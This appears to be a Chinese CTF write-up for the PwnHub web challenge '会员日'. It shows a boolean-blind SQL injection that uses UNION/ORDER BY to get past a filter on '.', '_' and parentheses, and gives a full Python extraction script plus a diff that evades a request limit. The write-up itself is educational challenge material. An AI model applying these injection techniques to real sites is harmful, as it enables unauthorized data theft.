[PwnHub](Web)会员日


  1. admin/admin 登录可以发现提示 , 下载源码
image.png
  1. 白盒审计 , 发现 profile.php 的 id 参数可以注入 :
image.png

但是这里是有限制的 :

if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id)){
    die('<h3>danger character dectected</h3>');
}

不能使用 '_' : 也就是说不能使用 information_schema
不能使用括号 , 也就是不能用函数
那么明注应该是不可以了 , 所以考虑基于 Boolean 的盲注

# 字符串 'a' 小于 'admin'
# 因此显示 'a' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202
# 字符串 'b' 大于 'admin'
# 因此显示 'admin' 的结果
http://54.223.59.178/profile.php?id=2%20union%20select%201,0x61,3,4,5%20from%20users%20order%20by%202

可以直接盲注 , 只要不出现括号和下划线即可
但是需要注意的两点 :

1. profile.php 访问 140 次后当前用户的兑换码就会被重置 , 因此要将盲注脚本控制在 140 次之内
2. 兑换码由 '1234567890abcdefghijklmnopqrstuvwxyz' 打乱顺序组成 , 而不是生成的随机字符串 , 也就是说 , 其中不会有重复 , 这一点可以用来减少盲注的猜解次数 , 最后事实证明 , 大概最短的猜解次数为 139 次 , 真心佩服出题人 , 精准打击

Exploit

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : WangYihang <wangyihanger@gmail.com>
# Comment : 由于每次兑换码不同 , 因此有可能出现 140 次跑不出来的情况 , 所以需要多跑几次

import requests

session = requests.Session()

def login(username, password):
    url = "http://54.223.59.178/index.php"
    session.post(url, data={"username": username, "password": password})

def check(url):
    # print "[+] %s" % (url)
    content = session.get(url).content
    if "尝试次数过多" in content:
        exit(1)
        pass
    else:
        print "[+] 访问次数 : %d" % (int(content.split("您已经访问")[1].split("次")[0]))
    return "This is admin page" in content

chars = "0123456789abcdefghijklmnopqrstuvwxyz"

def exploit(length):
    global chars
    data = ""
    for i in range(length):
        LEFT = 0
        RIGHT = len(chars)
        P = (LEFT + RIGHT) / 2
        while abs(LEFT - RIGHT) > 1:
            # print "[%d]>>>>[%d]<<<<[%d]" % (LEFT, P, RIGHT)
            guess = "%02x" % ord(chars[P])
            # url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,0x''' + data.encode("hex").replace("0x", "") + guess + ''',3,4,5%20from%20users%20order%20by%202'''
            url = '''http://54.223.59.178/profile.php?id=2%20union%20select%201,2,3,0x''' + \
                data.encode("hex").replace(
                    "0x", "") + guess + ''',5%20from%20users%20where user=0x61646d696e order%20by%204'''
            if check(url):
                RIGHT = P
            else:
                LEFT = P
            P = (LEFT + RIGHT) / 2
        if len(chars) == 0:
            return
        ch = chars[P]
        data += ch
        chars = chars.replace(ch, "") # 根据不重复的特性  , 将已经得到的字符删除 , 增加命中几率
        print "[+] Data (%d) : %s" % (len(data), data)

def main():
    # login("lilac", "lilac")
    login("admin", "admin")
    exploit(0x40)

if __name__ == "__main__":
    main()

备注 :

有大佬说 , 这里的 140 次的限制是可以绕过的
可以用别的用户名来构造盲注脚本

测试了一下发现确实可以 , 唉 , 思路还有有点僵化

image.png

这里判断 session 中的用户的 count , 然后修改的该用户的兑换码
所以我们只需要控制 id 即可控制得到的兑换码是哪个用户的 , 例如 id=2 为 admin
所以我们只需要新注册一个用户 , 登录并这个用户注出别的用户的数据即可
可以将上面 exploit 稍作修改即可 , 以下为 diff 文件

17c17
<         exit(1)
---
>         # exit(1)
50,51c50,51
<     # login("lilac", "lilac")
<     login("admin", "admin")
---
>     login("lilac", "lilac")
>     # login("admin", "admin")

后记 :
想了想为什么要取 140 次 ?
应该是和二分查找的时间复杂度有关

http://blog.csdn.net/frances_han/article/details/6458067

我们知道二分查找的时间复杂度为 log 以 2 为底 , n 的对数 , 其中 n 为搜索空间的度量
在这里也就是这个字符集 :

1234567890abcdefghijklmnopqrstuvwxyz

每次查找都可以确定能找到一个字符
那么每次字符集的数量就减少 1
那么最终的平均尝试次数可以根据如下公式 :

$$\sum_{i=1}^n log_2(n)$$

好吧 , 简书不支持 LaTex

image.png

So talk is cheap, show me the code

In [1]: import math

In [2]: def times(length):
   ...:     return (math.log(length, 2)))
   ...: 

In [3]: result = 0
   ...: for i in range(36, 1, -1):
   ...:     result += times(i)
   ...:     print "[+] %f" % (result)
   ...:     
[+] 5.169925
[+] 10.299208
[+] 15.386671
[+] 20.431065
[+] 25.431065
[+] 30.385261
[+] 35.292152
[+] 40.150133
[+] 44.957488
[+] 49.712375
[+] 54.412815
[+] 59.056671
[+] 63.641634
[+] 68.165196
[+] 72.624627
[+] 77.016945
[+] 81.338873
[+] 85.586800
[+] 89.756725
[+] 93.844188
[+] 97.844188
[+] 101.751079
[+] 105.558434
[+] 109.258873
[+] 112.843836
[+] 116.303268
[+] 119.625196
[+] 122.795121
[+] 125.795121
[+] 128.602476
[+] 131.187438
[+] 133.509366
[+] 135.509366
[+] 137.094329
[+] 138.094329
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,293评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,604评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,958评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,729评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,719评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,630评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,000评论 3 397
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,665评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,909评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,646评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,726评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,400评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,986评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,959评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,996评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,481评论 2 342

推荐阅读更多精彩内容